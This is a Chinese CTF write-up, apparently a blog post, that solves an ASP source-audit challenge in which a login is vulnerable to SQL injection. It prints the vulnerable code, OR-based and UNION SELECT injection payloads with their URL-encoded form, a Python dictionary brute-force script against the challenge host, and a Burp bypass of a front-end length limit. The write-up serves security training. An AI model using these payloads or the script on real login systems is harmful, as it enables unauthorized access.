您的位置:首页 > 编程语言 > ASP

[漏洞分析] CTF:ASP源码审计认证绕过

2015-07-07 13:46 1046 查看
登录界面如下:



随便尝试一个登录凭证,系统会报错



这是一个考察源代码审计的题,从页面中可得源代码为

<%
On Error Resume Next
dim name, pass, sql, action
set conn = server.CreateObject("ADODB.Connection")
conn.open "provider=Microsoft.jet.OLEDB.4.0;Data Source="
&Server.mappath("******.mdb")
name = request.form("username")
pass = request.form("userpass")
action = request("action")

if action="login" then
sql = "select * from bdmin where name='" & name & "'"
set rs=server.CreateObject("adodb.recordset")
rs.open sql,conn,1,3
if rs.eof and rs.bof then
response.write "<center>user or pass error!</center>"
else
if StrComp(rs("pass"),pass) = 0 then
response.write "<center>Great! Key:*********</center>"
end if
end if
end if
%>
从页面处获得用户输入的用户名和密码,

首先先验证用户名是否在数据库中存在,即代码:sql = "select * from bdmin where name='" & name & "'",如果用户名存在(也就是说合法用户)继续认证密码,否则在页面打印“user or pass error!”

此处我输入了' OR 'a'='a来绕过对于用户名的检查,绕过之后不会有“user or pass error!”报错信息。



接下来就是对密码的检查了,代码中有一句if StrComp(rs("pass"),pass) = 0,也就是说在本题中,从刚才验证用户名成功的条目中取出密码值与用户的密码值进行比对,碰上了就会打印“Great! Key:*********”

于是编写了一个python脚本结合字典尝试对此进行暴力破解,但实验结果表明用户名和密码没有对的。

#!/usr/bin/python
#-*-coding:utf-8-*-

#网页POST提交数据

import urllib
import urllib2
import re

url = 'http://ctf8.simplexue.com/aspaudit/?action=login'
header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
'Accept':'text/html;q=0.9,*/*;q=0.8',
'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
'Accept-Encoding':'gzip',
'Connection':'close',
'Referer':None,
'Host': 'ctf8.simplexue.com'}
username_input = "admin"
fobj = open('password.txt','r')
for eachline in fobj:
values = {'username':username_input,'userpass':eachline.strip()}
data = urllib.urlencode(values)
print data

req = urllib2.Request(url,data,header)
response = urllib2.urlopen(req)
the_page = response.read()

flag = re.compile(r'Great!',re.DOTALL).findall(the_page)
if len(flag)>1:
print "PASSWORD:"+eachline.strip()
break
于是如果想过第二关就得自己构造pass字段。

也就是在用户名处输入username=' union select 1,1,1 from bdmin where ''='

在密码处输入1

当然含有3个字段是一点点尝试出来的,也就是:

用户名:' union select 1 from bdmin where ''='密码:1 (报错 user or pass error!)

用户名:' union select 1,1 from bdmin where ''='密码:1(报错 user or pass error!)

用户名:' union select 1,1,1 from bdmin where ''='密码:1(返回Great! Key:Beautlful111)



随后为了进一步确认究竟哪个字段为密码字段,进行如下尝试:

用户名:' union select 1,2,3 from bdmin where ''='密码:1(报错 user or pass error!)

用户名:' union select 1,2,3 from bdmin where ''='密码:2(报错 user or pass error!)

用户名:' union select 1,2,3 from bdmin where ''='密码:3(返回Great! Key:Beautlful111)

可见第3个字段是密码字段。

注意:

本处对于用户名和密码的输入都在burp中进行,因为对于Username字段的定义,其最大长度为15,但仅在前端做了限制因此可用burp绕过,在编写HTTP Body部分时,需要进行UELEncode

也就是将username=' union select 1,1,1 from bdmin where ''='&userpass=1编码为username=%27%20union%20select%201%2C1%2C1%20from%20bdmin%20where%20%27%27%3D%27&userpass=1

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: